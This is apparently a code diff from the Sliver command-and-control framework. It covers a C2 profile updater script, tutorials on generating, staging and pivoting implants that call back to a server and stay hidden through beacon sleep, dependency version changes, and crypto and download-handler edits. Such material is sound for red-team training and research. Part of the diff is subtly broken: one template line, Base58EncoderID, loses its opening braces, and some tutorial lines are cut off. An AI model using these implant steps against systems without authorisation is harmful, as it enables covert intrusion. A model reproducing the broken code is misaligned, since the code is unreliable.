for x, pathType in enumerate(pathTypes):
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
for x, fileType in enumerate(fileTypes):
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
jsonC2Profile["server_config"]["cookies"] = [cookieName]
c2Profile = open(c2ProfileName, "w")
c2Profile.write(json.dumps(jsonC2Profile))
print("C2 Profile updated !")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
exit(0)
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
```
The example below demonstrates how to change and import a profile.
```asciinema
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
At this point we can generate a new implant using our new profile.
@@ -10,11 +10,12 @@ For this exercise, we will create a new beacon profile and prepare to stage it.
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
```
https://sliver-ip/definitely/not/malware?x=yourID
https://sliver-ip/whatever.stager_file_ext?x=yourID
```
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
* There has to be http url parameter containing the implant ID
* The file extension needs to match the c2 profile's stager_file_ext
* There has to be a one character http url parameter
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
@@ -32,27 +32,3 @@ The next step is to generate a payload that will connect to our listener.
```
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
```asciinema
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
As mentionned before named pipe pivots use a similar process, first you need to create a listener:
```bash
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```
You can then generate an implant connecting to it
```bash
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 1s
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
```
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\nSliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n Line truncated
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.23.5"
GARBLE_VER="1.23.5"
GO_VER="1.23.0"
GARBLE_VER="1.23.0"
ZIG_VER="0.13.0"
SGN_VER="0.0.3"
+11 -11
View File
@@ -34,7 +34,7 @@ require (
github.com/miekg/dns v1.1.59
github.com/moloch--/asciicast v0.1.0
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/ncruces/go-sqlite3 v0.20.3
github.com/ncruces/go-sqlite3 v0.15.0
github.com/reeflective/console v0.1.15
github.com/reeflective/readline v1.0.14
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -42,24 +42,24 @@ require (
github.com/spf13/cobra v1.8.1
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.9.0
github.com/tetratelabs/wazero v1.8.2
github.com/tetratelabs/wazero v1.7.2
github.com/things-go/go-socks5 v0.0.5
github.com/ulikunitz/xz v0.5.12
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.32.0
golang.org/x/crypto v0.25.0
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f
golang.org/x/net v0.33.0
golang.org/x/sys v0.29.0
golang.org/x/term v0.28.0
golang.org/x/text v0.21.0
golang.org/x/net v0.26.0
golang.org/x/sys v0.22.0
golang.org/x/term v0.22.0
golang.org/x/text v0.16.0
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6
google.golang.org/grpc v1.64.1
google.golang.org/protobuf v1.34.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.7
gorm.io/driver/postgres v1.5.9
gorm.io/driver/mysql v1.5.6
gorm.io/driver/postgres v1.5.7
gorm.io/driver/sqlite v1.5.5
gorm.io/gorm v1.25.10
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3
@@ -127,7 +127,7 @@ require (
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.5.5 // indirect
github.com/jackc/pgx/v5 v5.5.4 // indirect
github.com/jackc/puddle/v2 v2.2.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
@@ -175,7 +175,7 @@ require (
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/mod v0.17.0 // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/sync v0.7.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
+22 -22
View File
@@ -215,8 +215,8 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.5.5 h1:amBjrZVmksIdNjxGW/IiIMzxMKZFelXbUoPNb+8sjQw=
github.com/jackc/pgx/v5 v5.5.5/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
@@ -303,8 +303,8 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/ncruces/go-sqlite3 v0.20.3 h1:+4G4uEqOeusF0yRuQVUl9fuoEebUolwQSnBUjYBLYIw=
github.com/ncruces/go-sqlite3 v0.20.3/go.mod h1:ojLIAB243gtz68Eo283Ps+k9PyR3dvzS+9/RgId4+AA=
github.com/ncruces/go-sqlite3 v0.15.0 h1:C+SIrcYsAIR5GUYWmCnif6x81n6BS9y75vYcQynuGNU=
github.com/ncruces/go-sqlite3 v0.15.0/go.mod h1:kHHYmFmK4G2VFFoIovEg9BEQ8BP+D81y4ESHXnzJV/w=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=
@@ -387,8 +387,8 @@ github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
github.com/tetratelabs/wazero v1.8.2 h1:yIgLR/b2bN31bjxwXHD8a3d+BogigR952csSDdLYEv4=
github.com/tetratelabs/wazero v1.8.2/go.mod h1:yAI0XTsMBhREkM/YDAK/zNou3GoiAce1P6+rp/wQhjs=
github.com/tetratelabs/wazero v1.7.2 h1:1+z5nXJNwMLPAWaTePFi49SSTL0IMx/i3Fg8Yc25GDc=
github.com/tetratelabs/wazero v1.7.2/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.5 h1:qvKaGcBkfDrUL33SchHN93srAmYGzb4CxSM2DPYufe8=
@@ -427,8 +427,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30=
golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI=
@@ -455,8 +455,8 @@ golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ=
golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI=
golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8=
@@ -467,8 +467,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -498,18 +498,18 @@ golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg=
golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek=
golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk=
golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4=
golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -578,10 +578,10 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo=
gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8=
gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI=
gorm.io/driver/mysql v1.5.6 h1:Ld4mkIickM+EliaQZQx3uOJDJHtrd70MxAUqWqlx3Y8=
gorm.io/driver/mysql v1.5.6/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
gorm.io/driver/postgres v1.5.7 h1:8ptbNJTDbEmhdr62uReG5BGkdQyeasu/FZHxI0IMGnM=
gorm.io/driver/postgres v1.5.7/go.mod h1:3e019WlBaYI5o5LIdNV+LyxCMNtLOQETBXL2h4chKpA=
gorm.io/driver/sqlite v1.5.5 h1:7MDMtUZhV065SilG62E0MquljeArQZNfJnjd9i9gx3E=
gorm.io/driver/sqlite v1.5.5/go.mod h1:6NgQ7sQWAIFsPrJJl1lSNSu2TABh0ZZ/zm5fosATavE=
gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
-17
View File
@@ -219,23 +219,6 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
return plaintext, nil
}
// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, msg)
if err != nil {
return nil, err
}
if 0 < len(msg) {
digest := sha256.Sum256(msg)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
}
return plaintext, nil
}
// Encrypt - Encrypt a message with the contextual key
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
ciphertext, err := Encrypt(c.Key, plaintext)
+1 -1
View File
@@ -45,7 +45,7 @@ var (
MaxN = uint64(9999999)
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base58EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
+111 -173
View File
@@ -472,197 +472,105 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func readSingleFile(path string, maxBytes, maxLines int64) ([]byte, error) {
fileHandle, err := os.Open(path)
if err != nil {
return nil, err
}
defer fileHandle.Close()
func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
/*
Made a bit of a design decision - this function is going to go for accuracy.
To that end, if maxLines is specified and those lines are all blank, that is
what the user will get back. The other approach would be to skip blank lines
but that would not be accurate. So if you head or tail a file that starts or
ends with blank lines, you are going to get those blank lines. :)
Combine the path and filter to see if the user wants
to download a single file
*/
